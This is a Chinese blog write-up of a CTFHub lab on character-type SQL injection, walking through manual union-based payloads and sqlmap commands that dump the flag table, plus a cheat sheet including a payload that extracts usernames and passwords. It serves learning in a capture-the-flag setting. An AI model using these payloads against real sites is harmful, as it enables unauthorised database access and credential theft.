CTFHub:web前置技能-SQL注入-字符型注入

CTFHub个人学习记录

第三章:web前置技能-SQL注入-字符型注入



前言

路漫漫其修远兮,吾将上下而求索。
本文涉及以下知识点,去引用文章学习即可:
链接: 我是一个知识点
链接: 我是一个知识点
链接: 我是一个知识点
链接: sqlmap下载点我
文章总结有我个人总结的一些知识点,希望对你有所帮助。
练习sql注入,推荐使用sql-labs这个靶场,我后续也会更新从开始搭建到攻略1-75关完整教程,早些关注上车哦。


一、解题过程

方法一:手工注入

1.打开靶机,访问首页,按提示随便输入1,单引号闭合,1’ and 1 = 2#报错无回显,观察判断有注入点如下图所示:

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

2.判断有多少列,3列无回显,2列有回显,说明有两列,如下图所示:

在这里插入图片描述在这里插入图片描述

3.判断数据显示点,显示出登录用户和数据库名,如下图所示:

在这里插入图片描述

4.查看当前所有数据库,如下图所示:

-1' union select 1,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述

5.查看当前数据库有哪些表,如下图所示:

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

6.发现这个flag表有些可疑,查看flag表中字段,但是并没有回显,把flag这个表名转成16进制再试一次,如下图所示:

这个如果没显示用2:

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=flag#

2:

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167#

在这里插入图片描述

7.查看flag字段数据信息,得到此题flag,提交即可如下图所示:

-1' union select 1,group_concat(flag) from flag#

在这里插入图片描述

方法二:sqlmap

1.查看所有数据表,得到两个数据表即flag和news,如下图所示:

使用命令:

python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 --tables

在这里插入图片描述在这里插入图片描述

2.获取flag表中所有字段,如下图所示:

使用命令:

python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 -T flag --columns

在这里插入图片描述在这里插入图片描述

3.获取flag字段中所有数据信息,如下图所示:

使用命令:

python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 -T flag -C flag --dump

在这里插入图片描述在这里插入图片描述


总结

大概思路和涉及的知识点
sql注入基本语句和手工注入流程:
#,–+,-- -代表后边忽略,常用与闭合
判断有多少列:

order by 4 -- -

判断数据显示点:

union select 1,2,3 -- -

显示出登录用户和数据库名:

union select 1,user(),database()­­ -- -

查看数据库有哪些表:

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -

查看对应表有哪些列:

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 – -

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

思路:

字符型注入点
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。


sqlmap常用命令:
-u:用于get提交方式,后面跟注入的url网址
–level
–risk

–dbs:获取所有数据库
–tales:获取所有数据表
–columns:获取所有字段
–dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,
当>=3时检查user-agent和refereer
risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,
3会增加or语句的sql注入

当sqlmap运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

SCHEMATA表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。
TABLES表:提供了关于数据中表的信息。table_name
COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name

2、performance_schema库具有87张表。
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。

3、mysql库是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码

4、sys库具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。

  • 30
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值